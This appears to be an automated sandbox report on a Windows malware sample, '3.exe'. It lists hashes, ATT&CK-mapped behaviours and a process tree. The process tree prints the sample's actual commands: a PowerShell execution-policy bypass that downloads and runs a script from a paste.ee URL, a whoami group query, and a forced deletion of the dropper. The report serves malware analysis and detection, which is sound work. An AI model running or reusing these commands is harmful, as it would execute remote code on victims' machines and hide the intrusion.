Analysis

  • max time kernel
    148s
  • max time network
    150s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20240802-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20240802-enlocale:en-usos:windows10-2004-x64system
  • submitted
    21-09-2024 16:16

General

  • Target

    3.exe

  • Size

    1.2MB

  • MD5

    6f58eada2611d4e69798d3824ab1ed28

  • SHA1

    76f0495c12cb7884fc406b1ef7de946230a1f499

  • SHA256

    0a7fded88420aedebccb96a4cacd197d5b29b60746e8c3a423cb0f78f3674f5c

  • SHA512

    a32df7e7cb123ab1f9d4649e8c6b5b039346de1879398c5a68e6ca5d7d8c5a408e8b2ac72d68c46ca7ad9660ca08a9503ba31f7817b954f056a26fe5fb1b4f5d

  • SSDEEP

    24576:Qrfl+F1DI+oc6owGiOV8DABNUS+m+++oJee++oAYLbmtjjjjDjjpmbiDcA:6t+F1DI+96iiOaDkNUS+m+++oJee++oC

Malware Config

Signatures

  • Blocklisted process makes network request 3 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Powershell Invoke Web Request.

  • Indicator Removal: File Deletion 1 TTPs

    Adversaries may delete files left behind by the actions of their intrusion activity.

  • Looks up external IP address via web service 1 IoCs

    Uses a legitimate IP lookup service to find the infected system's external IP.

  • System Location Discovery: System Language Discovery 1 TTPs 4 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • Suspicious behavior: EnumeratesProcesses 8 IoCs
  • Suspicious use of AdjustPrivilegeToken 27 IoCs
  • Suspicious use of WriteProcessMemory 9 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\3.exe
    "C:\Users\Admin\AppData\Local\Temp\3.exe"
    1⤵
    • System Location Discovery: System Language Discovery
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of WriteProcessMemory
    PID:1300
    • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      powershell -ep bypass "Invoke-Command -ScriptBlock ( [ScriptBlock]::Create( ( Invoke-WebRequest -UseBasicParsing -URI "https://paste.ee/d/7BWJv" ) ) )"
      2⤵
      • Blocklisted process makes network request
      • Command and Scripting Interpreter: PowerShell
      • System Location Discovery: System Language Discovery
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:4324
      • C:\Windows\SysWOW64\whoami.exe
        "C:\Windows\system32\whoami.exe" /groups /fo csv
        3⤵
        • System Location Discovery: System Language Discovery
        • Suspicious use of AdjustPrivilegeToken
        PID:5068
    • C:\Windows\SysWOW64\cmd.exe
      cmd.exe /c del /f /q "C:\Users\Admin\AppData\Local\Temp\3.exe"
      2⤵
      • System Location Discovery: System Language Discovery
      PID:2612

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

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Downloads

  • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_yupisaau.bvn.ps1

    Filesize

    60B

    MD5

    d17fe0a3f47be24a6453e9ef58c94641

    SHA1

    6ab83620379fc69f80c0242105ddffd7d98d5d9d

    SHA256

    96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

    SHA512

    5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

  • memory/1300-1-0x0000000002330000-0x0000000002355000-memory.dmp

    Filesize

    148KB

  • memory/1300-0-0x0000000002330000-0x0000000002355000-memory.dmp

    Filesize

    148KB

  • memory/1300-23-0x0000000002330000-0x0000000002355000-memory.dmp

    Filesize

    148KB

  • memory/4324-25-0x0000000006880000-0x00000000068CC000-memory.dmp

    Filesize

    304KB

  • memory/4324-28-0x0000000009530000-0x000000000953A000-memory.dmp

    Filesize

    40KB

  • memory/4324-7-0x0000000074090000-0x0000000074840000-memory.dmp

    Filesize

    7.7MB

  • memory/4324-8-0x0000000005830000-0x0000000005852000-memory.dmp

    Filesize

    136KB

  • memory/4324-9-0x00000000058D0000-0x0000000005936000-memory.dmp

    Filesize

    408KB

  • memory/4324-10-0x0000000005940000-0x00000000059A6000-memory.dmp

    Filesize

    408KB

  • memory/4324-6-0x0000000005A10000-0x0000000006038000-memory.dmp

    Filesize

    6.2MB

  • memory/4324-16-0x0000000006200000-0x0000000006554000-memory.dmp

    Filesize

    3.3MB

  • memory/4324-4-0x0000000005240000-0x0000000005276000-memory.dmp

    Filesize

    216KB

  • memory/4324-24-0x00000000067F0000-0x000000000680E000-memory.dmp

    Filesize

    120KB

  • memory/4324-3-0x000000007409E000-0x000000007409F000-memory.dmp

    Filesize

    4KB

  • memory/4324-26-0x0000000007E60000-0x00000000084DA000-memory.dmp

    Filesize

    6.5MB

  • memory/4324-27-0x0000000006D10000-0x0000000006D2A000-memory.dmp

    Filesize

    104KB

  • memory/4324-5-0x0000000074090000-0x0000000074840000-memory.dmp

    Filesize

    7.7MB

  • memory/4324-29-0x0000000009A80000-0x0000000009FAC000-memory.dmp

    Filesize

    5.2MB

  • memory/4324-30-0x0000000009760000-0x0000000009922000-memory.dmp

    Filesize

    1.8MB

  • memory/4324-31-0x0000000009650000-0x00000000096E6000-memory.dmp

    Filesize

    600KB

  • memory/4324-32-0x00000000095F0000-0x0000000009612000-memory.dmp

    Filesize

    136KB

  • memory/4324-33-0x000000000A560000-0x000000000AB04000-memory.dmp

    Filesize

    5.6MB

  • memory/4324-34-0x000000007409E000-0x000000007409F000-memory.dmp

    Filesize

    4KB

  • memory/4324-35-0x0000000074090000-0x0000000074840000-memory.dmp

    Filesize

    7.7MB

  • memory/4324-36-0x0000000074090000-0x0000000074840000-memory.dmp

    Filesize

    7.7MB

  • memory/4324-38-0x0000000005590000-0x00000000055A2000-memory.dmp

    Filesize

    72KB

  • memory/4324-138-0x000000000A200000-0x000000000A292000-memory.dmp

    Filesize

    584KB

  • memory/4324-146-0x0000000074090000-0x0000000074840000-memory.dmp

    Filesize

    7.7MB